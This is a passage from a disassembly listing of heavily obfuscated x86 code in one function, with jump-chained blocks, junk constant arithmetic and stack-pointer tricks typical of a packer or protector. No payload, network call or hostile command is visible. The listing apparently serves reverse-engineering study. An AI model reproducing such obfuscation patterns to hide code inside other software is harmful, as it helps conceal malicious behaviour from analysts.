		add	esp, 4
		xor	esi, ecx
		push	[esp-6ED8h+arg_6ECE+2]
		pop	ecx
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_588C72
		sub	esp, 4
		mov	[esp-6EDCh+arg_6ED2+2],	edx
		sub	esp, 4
		jmp	loc_587D9C
; ---------------------------------------------------------------------------


loc_58D848:				; CODE XREF: sub_581EE9+E378j
		push	[esp-6ED8h+arg_6ECE+2]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ED4h+arg_6ECA+2]
		pop	esp
		add	eax, 4
		push	444Ah
		jmp	loc_58CB73
; ---------------------------------------------------------------------------


loc_58D86E:				; CODE XREF: sub_581EE9+ACDBj
		push	edx
		sub	esp, 4
		jmp	loc_588575
; ---------------------------------------------------------------------------


loc_58D877:				; CODE XREF: sub_581EE9+6FFAj
		add	[esp-6ED4h+arg_6ECE+2],	ebx
		sub	[esp-6ED4h+arg_6ECE+2],	9D05D90h
		mov	ebx, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		mov	ebx, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		jmp	loc_589D7B
; ---------------------------------------------------------------------------


loc_58D897:				; CODE XREF: sub_581EE9+D2EDj
		add	eax, 217A5E6Ch
		sub	eax, edi
		sub	eax, 217A5E6Ch
		add	eax, 799F01F8h
		push	ebx
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	edx
		mov	edx, 6A2F4939h
		mov	ebx, 97A5BE22h
		add	ebx, edx
		pop	edx
		shl	ebx, 1
		xor	ebx, 66E2104Dh
		sub	eax, ebx
		pop	ebx
		pop	edi
		add	ebx, 153E3869h
		sub	ebx, eax
		push	7099h
		jmp	loc_5873DA
; ---------------------------------------------------------------------------


loc_58D8DA:				; CODE XREF: sub_581EE9+9473j
		push	eax
		push	ebx
		jmp	loc_588275
; ---------------------------------------------------------------------------


loc_58D8E1:				; CODE XREF: sub_581EE9+CE91j
		add	esp, 4
		push	ebx
		jmp	loc_587C21
; ---------------------------------------------------------------------------


loc_58D8EA:				; CODE XREF: sub_581EE9+7814j
		mov	eax, 0E7E5B01Fh
		jmp	loc_589756
; ---------------------------------------------------------------------------


loc_58D8F4:				; DATA XREF: sub_581EE9+3D73o
		mov	ax, word ptr [esp-6EDEh+arg_6ED6]
		push	12A5h
		mov	[esp-6EDAh+arg_6ED2], ebx
		jmp	loc_58A99C
; ---------------------------------------------------------------------------


loc_58D905:				; CODE XREF: sub_581EE9+8EADj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58D90A:				; CODE XREF: sub_581EE9+C910j
		add	eax, ebx
		sub	eax, 557C36BEh
		jmp	loc_591942
; ---------------------------------------------------------------------------


loc_58D916:				; CODE XREF: sub_581EE9+C30Fj
		mov	[esp-6EC2h+arg_6EBA], ecx
		mov	ecx, 3AD0A337h
		xor	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 426B4253h
		add	edx, 5F6D5933h
		sub	edx, esi
		jmp	loc_58E8CA
; ---------------------------------------------------------------------------


loc_58D934:				; CODE XREF: sub_581EE9+ECE9j
		push	30B3h
		mov	[esp-6EBEh+arg_6EB6], ebx
		push	4
		pop	ebx
		sub	ecx, 446A22CCh
		add	ecx, ebx
		push	esi
		push	ebx
		mov	ebx, 3BA64A63h
		jmp	loc_589A72
; ---------------------------------------------------------------------------


loc_58D956:				; CODE XREF: sub_581EE9+DF3Aj
		pop	esi
		pop	ebx
		add	ecx, 2
		xor	ecx, [esp-6EBEh+arg_6EB6]
		xor	[esp-6EBEh+arg_6EB6], ecx
		xor	ecx, [esp-6EBEh+arg_6EB6]
		mov	esp, [esp-6EBEh+arg_6EB6]
		btc	word ptr [esp-6EBEh+arg_6EB6], ax
		pushf
		jmp	loc_591258
; ---------------------------------------------------------------------------


loc_58D972:				; CODE XREF: sub_581EE9+DD93j
		add	esi, 13ED6C2Eh
		add	esi, eax
		sub	esi, 13ED6C2Eh
		add	esi, 30543217h
		jmp	loc_58E34F
; ---------------------------------------------------------------------------


loc_58D98B:				; CODE XREF: sub_581EE9+C6B9j
		push	eax
		jmp	loc_586E58
; ---------------------------------------------------------------------------


loc_58D991:				; CODE XREF: sub_581EE9+EDD8j
		mov	[esp-6EB6h+arg_6EAC+2],	ecx
		push	esp
		pop	ecx
		jmp	loc_58D483
; ---------------------------------------------------------------------------


loc_58D99B:				; CODE XREF: sub_581EE9+CC64j
		pop	ebp
		add	esi, 4
		xchg	esi, [esp-6EBAh+arg_6EB2]
		jmp	loc_58ED5A
; ---------------------------------------------------------------------------


loc_58D9A7:				; CODE XREF: sub_581EE9+85A4j
		mov	edx, 6B4F5892h
		jmp	loc_58F17E
; ---------------------------------------------------------------------------


loc_58D9B1:				; CODE XREF: sub_581EE9+CDA3j
		mov	esi, 1C6235D6h
		jmp	loc_58CC5B
; ---------------------------------------------------------------------------


loc_58D9BB:				; CODE XREF: sub_581EE9+8302j
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp-6EECh+arg_6EE4]
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp-6EF0h+arg_6EE8]
		xor	[esp-6EF0h+arg_6EE8], ebp
		jmp	loc_58CB3C
; ---------------------------------------------------------------------------


loc_58D9D7:				; CODE XREF: sub_581EE9+7407j
		push	eax
		push	ebx
		jmp	loc_58FD55
; ---------------------------------------------------------------------------


loc_58D9DE:				; CODE XREF: sub_581EE9+C39Ej
		mov	ecx, esp
		jmp	loc_586831
; ---------------------------------------------------------------------------


loc_58D9E5:				; CODE XREF: sub_581EE9+EC8Fj
		mov	dword ptr [esp-6EAAh+arg_6EA2],	esi
		mov	esi, esp
		push	eax
		mov	eax, 7D9A1661h
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		dec	eax
		jmp	loc_590113
; ---------------------------------------------------------------------------


loc_58D9FA:				; DATA XREF: sub_581EE9+3D07o
		mov	ax, word ptr [esp-6EA6h+arg_6E9E]
		push	0F9Eh
		mov	[esp-6EA2h+arg_6E9A], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 450E1399h
		push	esi
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], edx
		mov	edx, 65B71320h
		neg	edx
		jmp	loc_58DEDF
; ---------------------------------------------------------------------------


loc_58DA27:				; CODE XREF: sub_581EE9+65BDj
		mov	eax, [esp-6EF6h+arg_6EEC+2]
		jmp	loc_588CDC
; ---------------------------------------------------------------------------


loc_58DA2F:				; CODE XREF: sub_581EE9+BBE5j
		mov	[esp-6EF6h+arg_6EEC+2],	eax
		sub	[esp-6EF6h+arg_6EEC+2],	3C146A47h
		push	[esp-6EF6h+arg_6EEC+2]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	ebx
		mov	ebx, 7B0C768Fh
		inc	ebx
		or	ebx, 93F653Ah
		and	ebx, 668E5317h
		add	ebx, 0DA061735h
		push	ebp
		mov	ebp, 67DF6007h
		sub	edx, ebp
		pop	ebp
		jmp	loc_588F2D
; ---------------------------------------------------------------------------


loc_58DA6F:				; CODE XREF: sub_581EE9+879Aj
		add	ecx, 32D1611Ah
		sub	ecx, 36D04C0Dh
		add	ecx, eax
		jmp	loc_5896BC
; ---------------------------------------------------------------------------


loc_58DA82:				; CODE XREF: sub_581EE9+CC56j
		sub	edi, eax
		jmp	loc_58DF44
; ---------------------------------------------------------------------------


loc_58DA89:				; CODE XREF: sub_581EE9+C26Fj
		push	esi
		jmp	loc_588962
; ---------------------------------------------------------------------------


loc_58DA8F:				; CODE XREF: sub_581EE9+90F4j
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		xchg	esi, [esp-6EE4h+arg_6EDC]
		mov	esp, [esp-6EE4h+arg_6EDC]
		jmp	loc_58E9FD
; ---------------------------------------------------------------------------


loc_58DAA3:				; CODE XREF: sub_581EE9+CEEDj
		add	esp, 4
		xor	ebp, [esp-6EE8h+arg_6EE0]
		xor	[esp-6EE8h+arg_6EE0], ebp
		jmp	loc_58E855
; ---------------------------------------------------------------------------


loc_58DAB1:				; CODE XREF: sub_581EE9+7781j
		pop	esi
		jmp	loc_58ECC2
; ---------------------------------------------------------------------------


loc_58DAB7:				; CODE XREF: sub_581EE9+8F7Ej
		xchg	ecx, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		sub	bl, 81h
		jmp	loc_58D327
; ---------------------------------------------------------------------------


loc_58DAC3:				; CODE XREF: sub_581EE9+C92Bj
		add	esi, 3FE21FA4h
		pop	ebp
		xchg	esi, [esp-6ED8h+arg_6ECE+2]
		pop	esp
		jmp	loc_58DA2F
; ---------------------------------------------------------------------------


loc_58DAD3:				; CODE XREF: sub_581EE9+B49Fj
		pop	ebx
		jmp	loc_58F70C
; ---------------------------------------------------------------------------


loc_58DAD9:				; CODE XREF: sub_581EE9+C73Fj
		add	esi, edx
		jmp	loc_5872F7
; ---------------------------------------------------------------------------


loc_58DAE0:				; CODE XREF: sub_581EE9+6DE3j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EACh+arg_6EA4]
		pop	esp
		jmp	loc_589005
; ---------------------------------------------------------------------------


loc_58DAF5:				; CODE XREF: sub_581EE9+43E4j
		mov	ebx, edx
		jmp	loc_5918F8
; ---------------------------------------------------------------------------


loc_58DAFC:				; DATA XREF: sub_581EE9+3D13o
		push	eax
		mov	eax, 38h
		push	ebx
		jmp	loc_587DE5
; ---------------------------------------------------------------------------


loc_58DB08:				; CODE XREF: sub_581EE9+63E4j
		mov	ebx, 2295302Dh
		inc	ebx
		push	esi
		mov	esi, 0
		sub	esi, ebx
		jmp	loc_58FD07
; ---------------------------------------------------------------------------


loc_58DB1B:				; CODE XREF: sub_581EE9+BF0Dj
		add	eax, ebp
		pop	ebp
		push	ecx
		push	ebp
		mov	ebp, 79025625h
		not	ebp
		inc	ebp
		xor	ebp, 0E754C42Eh
		push	esi
		mov	esi, ebp
		mov	ecx, esi
		mov	esi, [esp-6ECCh+arg_6EC2+2]
		push	ebx
		jmp	loc_58C1D7
; ---------------------------------------------------------------------------


loc_58DB3C:				; CODE XREF: sub_581EE9+94B1j
		add	[esp-6E82h+arg_6E7C+2],	ecx
		add	[esp-6E82h+arg_6E7C+2],	6A0C491Fh
		jmp	loc_58800F
; ---------------------------------------------------------------------------


loc_58DB4D:				; CODE XREF: sub_581EE9+CF07j
		xor	al, ch
		push	dword ptr [esp-6E82h+arg_6E7A]
		mov	ecx, [esp-6E7Eh+arg_6E76]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	2B7Ch
		jmp	loc_58B303
; ---------------------------------------------------------------------------


loc_58DB68:				; CODE XREF: sub_581EE9+EDFCj
		mov	[esp-6E76h+arg_6E6E], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5874C0
; ---------------------------------------------------------------------------


loc_58DB78:				; CODE XREF: sub_581EE9+4A50j
		push	[esp-6ED0h+arg_6EC6+2]
		mov	edx, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		jmp	loc_58B30B
; ---------------------------------------------------------------------------


loc_58DB86:				; CODE XREF: sub_581EE9+EADEj
		shl	edi, 1
		neg	edi
		xor	edi, 73F42055h
		jmp	loc_58D7C1
; ---------------------------------------------------------------------------


loc_58DB95:				; CODE XREF: sub_581EE9+8D1Dj
		pop	edx
		mov	eax, [esp-6ED4h+arg_6ECA+2]
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 2
		add	eax, 2C813B4Ah
		add	eax, edi
		sub	eax, 2C813B4Ah
		pop	edi
		xchg	eax, [esp-6ED8h+arg_6ECE+2]
		jmp	loc_587197
; ---------------------------------------------------------------------------


loc_58DBBC:				; CODE XREF: sub_581EE9+6CE1j
		mov	edx, 3EB97AF3h
		shr	edx, 4
		and	edx, 6F5A0B3Bh
		neg	edx
		sub	edx, 0FFFFFFFFh
		dec	edx
		push	ecx
		mov	ecx, 15786641h
		neg	ecx
		sub	ecx, 78124030h
		dec	ecx
		shl	ecx, 7
		sub	ecx, 463332DEh
		xor	ecx, 0ECBAF9Dh
		sub	edx, ecx
		pop	ecx
		xor	edi, edx
		pop	edx
		sub	eax, edi
		push	[esp-6F12h+arg_6F0A]
		jmp	loc_5885E5
; ---------------------------------------------------------------------------


loc_58DBFE:				; CODE XREF: sub_581EE9+65F5j
		add	al, 0D1h
		jmp	loc_58D2EE
; ---------------------------------------------------------------------------


loc_58DC05:				; CODE XREF: sub_581EE9+4CBFj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_588707
; ---------------------------------------------------------------------------


loc_58DC11:				; CODE XREF: sub_581EE9+8504j
		add	dl, 0D0h
		jmp	loc_58BFA1
; ---------------------------------------------------------------------------


loc_58DC19:				; CODE XREF: sub_581EE9+6EA3j
		xchg	eax, [esp-6EB0h+arg_6EA8]
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58DC22:				; DATA XREF: sub_581EE9+3BFBo
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		push	1EBAh
		mov	[esp-6EB0h+arg_6EA8], edx
		push	esp
		jmp	loc_58F6A4
; ---------------------------------------------------------------------------


loc_58DC34:				; CODE XREF: sub_581EE9+AB02j
		mov	eax, 7694E7Dh
		add	ebp, eax
		pop	eax
		neg	ebp
		jmp	loc_58C23C
; ---------------------------------------------------------------------------


loc_58DC43:				; CODE XREF: sub_581EE9+9B44j
		mov	cl, 52h
		sub	bl, cl
		pop	cx
		jmp	loc_58CB30
; ---------------------------------------------------------------------------


loc_58DC4E:				; CODE XREF: sub_581EE9+C0EDj
		mov	[esp-6EB4h+arg_6EAC], ecx
		jmp	loc_587719
; ---------------------------------------------------------------------------


loc_58DC56:				; CODE XREF: sub_581EE9+B872j
		push	[esp-6E8Ah+arg_6E80+2]
		push	[esp-6E86h+arg_6E7C+2]
		pop	edx
		add	esp, 4
		push	329Eh
		mov	[esp-6E86h+arg_6E7C+2],	esi
		mov	esi, esp
		jmp	loc_586DAB
; ---------------------------------------------------------------------------


loc_58DC72:				; CODE XREF: sub_581EE9+BE07j
		mov	[esp-6E86h+arg_6E7C+2],	ecx
		mov	ecx, 35A45093h
		jmp	loc_586AEB
; ---------------------------------------------------------------------------


loc_58DC7F:				; CODE XREF: sub_581EE9+4207j
		mov	eax, ebp
		pop	ebp
		jmp	loc_58F850
; ---------------------------------------------------------------------------


loc_58DC87:				; CODE XREF: sub_581EE9+835Aj
		mov	cl, 5
		add	al, cl
		pop	cx
		add	al, bl
		sub	al, 5
		sub	al, 22h
		jmp	loc_58E64D
; ---------------------------------------------------------------------------


loc_58DC98:				; CODE XREF: sub_581EE9+B118j
		xchg	ebp, [esp-6E86h+arg_6E7C+2]
		pop	esp
		jmp	loc_58869B
; ---------------------------------------------------------------------------


loc_58DCA1:				; CODE XREF: sub_581EE9+E509j
		mov	[esp-6E8Ah+arg_6E80+2],	ebp
		mov	ebp, 6DCB55D8h
		xor	ebp, edx
		jmp	loc_5877B0
; ---------------------------------------------------------------------------


loc_58DCB0:				; CODE XREF: sub_581EE9+7F19j
		push	edi
		push	esp
		mov	edi, [esp-6E8Ah+arg_6E80+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E8Ah+arg_6E80+2],	ebp
		push	ecx
		mov	ecx, 489B0434h
		not	ecx
		inc	ecx
		push	esi
		mov	esi, 6A79207Eh
		not	esi
		dec	esi
		jmp	loc_5869E9
; ---------------------------------------------------------------------------


loc_58DCD5:				; CODE XREF: sub_581EE9+9E99j
		pop	eax
		jmp	loc_58901F
; ---------------------------------------------------------------------------


loc_58DCDB:				; CODE XREF: sub_581EE9+AD1Ej
		pop	edi
		push	eax
		push	[esp-6ECEh+arg_6ECA]
		jmp	loc_58B4AA
; ---------------------------------------------------------------------------


loc_58DCE6:				; CODE XREF: sub_581EE9+E838j
		mov	ecx, esi
		jmp	loc_58D78C
; ---------------------------------------------------------------------------


loc_58DCED:				; CODE XREF: sub_581EE9+8F6Dj
		sub	esp, 4
		jmp	loc_58DC72
; ---------------------------------------------------------------------------


loc_58DCF5:				; CODE XREF: sub_581EE9+A217j
		xor	esi, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_58FB8C
; ---------------------------------------------------------------------------


loc_58DCFD:				; CODE XREF: sub_581EE9+98DAj
		not	ch
		sub	esp, 2
		mov	word ptr [esp-6EBEh+arg_6EB6], dx
		mov	dl, 7Ch
		add	ch, dl
		pop	dx
		sub	al, 0E0h
		sub	al, ch
		add	al, 0E0h
		pop	ecx
		pop	ebx
		push	edx
		jmp	loc_58DDA8
; ---------------------------------------------------------------------------


loc_58DD1D:				; CODE XREF: sub_581EE9+E225j
		push	31118AEh
		jmp	loc_58B1D5
; ---------------------------------------------------------------------------


loc_58DD27:				; CODE XREF: sub_581EE9+8750j
		mov	ebp, ecx
		pop	ecx
		add	esi, 77BA4BCCh
		jmp	loc_59175B
; ---------------------------------------------------------------------------


loc_58DD35:				; CODE XREF: sub_581EE9+50BEj
		neg	ebp
		sub	ebp, 9A58B721h
		sub	ebx, ebp
		jmp	loc_5906E6
; ---------------------------------------------------------------------------


loc_58DD44:				; CODE XREF: sub_581EE9+8737j
		push	edx
		mov	dl, 7Fh
		not	dl
		shr	dl, 6
		jmp	loc_58C915
; ---------------------------------------------------------------------------


loc_58DD51:				; CODE XREF: sub_581EE9+F27Ej
		pop	ebx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58DD57:				; CODE XREF: sub_581EE9+AE64j
		mov	eax, 180B5F86h
		neg	eax
		shr	eax, 1
		xor	eax, 46422551h
		jmp	loc_58A7F9
; ---------------------------------------------------------------------------


loc_58DD6A:				; CODE XREF: sub_581EE9+52A9j
		mov	[esp-6EDCh+arg_6ED2+2],	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp-6ED8h+arg_6ECE+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp-6ED4h+arg_6ECA+2]
		pop	esp
		jmp	loc_58F0B7
; ---------------------------------------------------------------------------


loc_58DD95:				; CODE XREF: sub_581EE9+85B6j
		mov	ch, 7Bh
		sub	bl, ch
		pop	cx
		jmp	loc_58EA15
; ---------------------------------------------------------------------------


loc_58DDA0:				; DATA XREF: sub_581EE9+3C0Bo
		lodsd
		xor	eax, ebx
		jmp	loc_58777C
; ---------------------------------------------------------------------------


loc_58DDA8:				; CODE XREF: sub_581EE9+BE2Fj
		mov	dh, 23h
		xor	dh, 0B0h
		add	bl, dh
		jmp	loc_5916DD
; ---------------------------------------------------------------------------


loc_58DDB4:				; CODE XREF: sub_581EE9+5392j
		mov	edx, 489675D4h
		push	edi
		jmp	loc_58E5D9
; ---------------------------------------------------------------------------


loc_58DDBF:				; CODE XREF: sub_581EE9+3F6Aj
		pop	eax
		add	bl, al
		jmp	loc_58678D
; ---------------------------------------------------------------------------


loc_58DDC7:				; CODE XREF: sub_581EE9+5C74j
		mov	cl, 3Ch
		neg	cl
		xor	cl, 89h
		sub	dl, 5Ah
		add	dl, cl
		add	dl, 5Ah
		mov	ecx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		or	dl, 7Dh
		xor	dl, 0BEh
		push	cx
		mov	ch, 9Bh
		xor	dl, ch
		jmp	loc_58CDA4
; ---------------------------------------------------------------------------


loc_58DDF0:				; CODE XREF: sub_581EE9+6ABAj
		xor	ebp, 5B15FEB9h
		jmp	loc_58DB1B
; ---------------------------------------------------------------------------


loc_58DDFB:				; CODE XREF: sub_581EE9+4978j
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp-6ECAh+arg_6EC2]
		pop	esp
		jmp	loc_58D3F6
; ---------------------------------------------------------------------------


loc_58DE07:				; CODE XREF: sub_581EE9+5DABj
		mov	ebp, 24304576h
		jmp	loc_58C4FD
; ---------------------------------------------------------------------------


loc_58DE11:				; CODE XREF: sub_581EE9+F79Aj
		pop	eax
		sub	ax, bp
		pop	ebp
		push	small 1087h
		mov	word ptr [esp-6EC8h+arg_6EBE+2], si
		push	small 2F33h
		mov	si, word ptr [esp-6EC6h+arg_6EBE]
		jmp	loc_58D443
; ---------------------------------------------------------------------------


loc_58DE2B:				; CODE XREF: sub_581EE9+DC95j
		mov	[esp-6EC6h+arg_6EBE], ebp
		jmp	loc_589C89
; ---------------------------------------------------------------------------


loc_58DE33:				; CODE XREF: sub_581EE9+E87Dj
		pop	[esp-6EC6h+arg_6EBE]
		jmp	loc_58B5BC
; ---------------------------------------------------------------------------


loc_58DE3B:				; CODE XREF: sub_581EE9+8419j
		pop	ebx
		sub	ebp, ecx
		push	[esp-6ECCh+arg_6EC2+2]
		jmp	loc_589CB1
; ---------------------------------------------------------------------------


loc_58DE46:				; CODE XREF: sub_581EE9+51BDj
		bswap	eax
		push	esi
		push	esp
		mov	esi, [esp-6EF0h+arg_6EE8]
		add	esp, 4
		push	ecx
		jmp	loc_590B90
; ---------------------------------------------------------------------------


loc_58DE59:				; CODE XREF: sub_581EE9+7743j
		mov	[esp-6EC0h+arg_6EB6+2],	esi
		jmp	loc_58AF4E
; ---------------------------------------------------------------------------


loc_58DE61:				; CODE XREF: sub_581EE9+4BFDj
		sub	edx, 491601CDh
		add	edx, ecx
		add	edx, 491601CDh
		pop	ecx
		add	eax, edx
		pop	edx
		mov	esi, [esp-6ED2h+arg_6ECA]
		add	esp, 4
		push	446Eh
		jmp	loc_585F00
; ---------------------------------------------------------------------------


loc_58DE83:				; CODE XREF: sub_581EE9+3ED9j
		add	ecx, 22C90382h
		push	ecx
		xchg	ebp, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_58BEB6
; ---------------------------------------------------------------------------


loc_58DE92:				; CODE XREF: sub_581EE9+C1AEj
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		push	ecx
		mov	ecx, 2
		jmp	loc_5877E9
; ---------------------------------------------------------------------------


loc_58DEA7:				; CODE XREF: sub_581EE9+F645j
		xor	eax, ebp
		jmp	loc_58634C
; ---------------------------------------------------------------------------


loc_58DEAE:				; CODE XREF: sub_581EE9+8A12j
		add	eax, esi
		pop	esi
		push	5886h
		mov	[esp-6EC6h+arg_6EBE], ecx
		mov	ecx, 1B0831B3h
		neg	ecx
		shl	ecx, 4
		shl	ecx, 3
		sub	ecx, 59B96C8Eh
		push	edi
		mov	edi, 38D47D3Fh
		jmp	loc_586207
; ---------------------------------------------------------------------------


loc_58DED7:				; CODE XREF: sub_581EE9+B064j
		add	esp, 4
		jmp	loc_58CEF1
; ---------------------------------------------------------------------------


loc_58DEDF:				; CODE XREF: sub_581EE9+BB39j
		sub	edx, 529FABC8h
		mov	esi, edx
		pop	edx
		jmp	loc_58E96D
; ---------------------------------------------------------------------------


loc_58DEED:				; CODE XREF: sub_581EE9+9370j
		sub	ecx, 0AE31209h
		sub	ecx, 1DF27CBh
		jmp	loc_58F2E3
; ---------------------------------------------------------------------------


loc_58DEFE:				; CODE XREF: sub_581EE9+6A32j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EBAh+arg_6EB2]
		pop	esp
		push	ecx
		mov	ecx, 4
		sub	edx, 6C6731E1h
		add	edx, ecx
		add	edx, 6C6731E1h
		pop	ecx
		xchg	edx, [esp-6EBEh+arg_6EB6]
		pop	esp
		jmp	loc_5867C1
; ---------------------------------------------------------------------------


loc_58DF2A:				; CODE XREF: sub_581EE9+F8A1j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp-6EC2h+arg_6EBA]
		mov	esp, [esp-6EC2h+arg_6EBA]
		mov	word ptr [esp-6EC2h+arg_6EBA], bx
		jmp	loc_587D7D
; ---------------------------------------------------------------------------


loc_58DF44:				; CODE XREF: sub_581EE9+BB9Bj
		xchg	eax, edi
		pop	edi
		push	6427h
		mov	[esp-6EC0h+arg_6EB6+2],	edx
		mov	edx, 0EF6E2C42h
		sub	eax, edx
		pop	edx
		add	ebx, eax
		pop	eax
		add	ebx, 2
		xor	ebx, [esp-6EC8h+arg_6EBE+2]
		xor	[esp-6EC8h+arg_6EBE+2],	ebx
		xor	ebx, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_5885DC
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_58F9AD
; ---------------------------------------------------------------------------


loc_58DF76:				; CODE XREF: sub_581EE9+80F2j
		pop	edx
		jmp	loc_587C93
; ---------------------------------------------------------------------------


loc_58DF7C:				; CODE XREF: sub_581EE9+7443j
		inc	edx
		sub	edx, 20010E0Bh
		sub	esi, edx
		pop	edx
		jmp	loc_58FA60
; ---------------------------------------------------------------------------


loc_58DF8B:				; CODE XREF: sub_581EE9+604Aj
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	edi
		sub	esp, 4
		mov	[esp-6EDEh+arg_6ED6], edx
		jmp	loc_58EF1B
; ---------------------------------------------------------------------------


loc_58DFA6:				; CODE XREF: sub_581EE9+8FABj
		add	esp, 4
		jmp	loc_590FDE
; ---------------------------------------------------------------------------


loc_58DFAE:				; CODE XREF: sub_581EE9+C3D7j
		dec	eax
		not	eax
		sub	eax, 3D1B4DB8h
		not	eax
		add	eax, 0A9B9B022h
		jmp	loc_590B0C
; ---------------------------------------------------------------------------


loc_58DFC2:				; CODE XREF: sub_581EE9+C7E2j
		pop	ecx
		xor	ecx, 75944CABh
		jmp	loc_58B53B
; ---------------------------------------------------------------------------


loc_58DFCE:				; CODE XREF: sub_581EE9+71F4j
		movzx	eax, al
		push	38F5h
		jmp	loc_58DC4E
; ---------------------------------------------------------------------------


loc_58DFDB:				; CODE XREF: sub_581EE9+7EF6j
		push	6F90h
		mov	[esp+0], edx
		push	esp
		pop	edx
		push	5FA6h
		mov	[esp-6E8Ch+arg_6E84], ecx
		mov	ecx, 4
		jmp	loc_58BB3E
; ---------------------------------------------------------------------------


loc_58DFF7:				; CODE XREF: sub_581EE9+FAEAj
		push	[esp-6E8Ch+arg_6E84]
		push	[esp-6E88h+arg_6E80]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E88h+arg_6E80], edi
		mov	edi, esp
		jmp	loc_58F1DB
; ---------------------------------------------------------------------------


loc_58E014:				; CODE XREF: sub_581EE9+F3C4j
		and	ecx, eax
		pop	eax
		shr	ecx, 0Bh
		push	7008h
		jmp	loc_58F039
; ---------------------------------------------------------------------------


loc_58E024:				; CODE XREF: sub_581EE9+DC74j
		push	edx
		mov	edx, 2
		sub	ebx, 165C5825h
		jmp	loc_590A2A
; ---------------------------------------------------------------------------


loc_58E035:				; CODE XREF: sub_581EE9+E5A9j
		pop	ecx
		add	edx, ebp
		mov	ebp, [esp-6E88h+arg_6E80]
		add	esp, 4
		sub	edx, 41AA6475h
		add	edx, ecx
		jmp	loc_58E548
; ---------------------------------------------------------------------------


loc_58E04B:				; CODE XREF: sub_581EE9+8802j
		pop	ebx
		pop	[esp-6EC0h+arg_6EB6+2]
		pop	esp
		or	word ptr [esp-6EC8h+arg_6EBE+2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58E05A:				; CODE XREF: sub_581EE9+606Fj
		mov	edi, 5ED7679h
		push	edx
		mov	edx, 46580F7Fh
		jmp	loc_5870B2
; ---------------------------------------------------------------------------


loc_58E06A:				; CODE XREF: sub_581EE9+DCE0j
		pop	edi
		add	ebx, esi
		pop	esi
		jmp	loc_58C105
; ---------------------------------------------------------------------------


loc_58E073:				; CODE XREF: sub_581EE9+599Aj
		add	esp, 4
		push	edx
		jmp	loc_59018C
; ---------------------------------------------------------------------------


loc_58E07C:				; CODE XREF: sub_581EE9+7A99j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E8Ah+arg_6E80+2]
		jmp	loc_58AA31
; ---------------------------------------------------------------------------


loc_58E092:				; CODE XREF: sub_581EE9+D210j
		mov	ebx, 4
		jmp	loc_58DE92
; ---------------------------------------------------------------------------


loc_58E09C:				; CODE XREF: sub_581EE9+75F6j
		mov	eax, [esp-6EFEh+arg_6EF6]
		add	esp, 4
		add	edx, 79C3515Fh
		jmp	loc_58A3A4
; ---------------------------------------------------------------------------


loc_58E0AD:				; CODE XREF: sub_581EE9+6D0Cj
		mov	esi, 2FE69DFBh
		add	edi, 0BC712E3h
		sub	edi, esi
		sub	edi, 0BC712E3h
		pop	esi
		mov	ecx, edi
		pop	edi
		or	ecx, 490C55ACh
		sub	ecx, 1
		push	edi
		push	eax
		mov	eax, 0
		push	eax
		jmp	loc_591926
; ---------------------------------------------------------------------------


loc_58E0DD:				; CODE XREF: sub_581EE9+4AE1j
		mov	ecx, edx
		mov	edx, [esp-6ECAh+arg_6EC2]
		add	esp, 4
		jmp	loc_5880FC
; ---------------------------------------------------------------------------


loc_58E0ED:				; CODE XREF: sub_581EE9+AA27j
		pop	edx
		push	ebp
		push	7998h
		mov	[esp-6ECAh+arg_6EC2], eax
		push	1E854EBBh
		pop	eax
		sub	eax, 1E854EB7h
		push	eax
		pop	ebp
		pop	eax
		add	ecx, ebp
		jmp	loc_58C554
; ---------------------------------------------------------------------------


loc_58E10C:				; CODE XREF: sub_581EE9+6C0Bj
		mov	[esp-6EF2h+arg_6EE8+2],	esi
		mov	esi, 7631115h
		sub	[esp-6EF2h+arg_6EF0+2],	esi
		pop	esi
		mov	ebx, [esp-6EF6h+arg_6EEC+2]
		sub	esp, 4
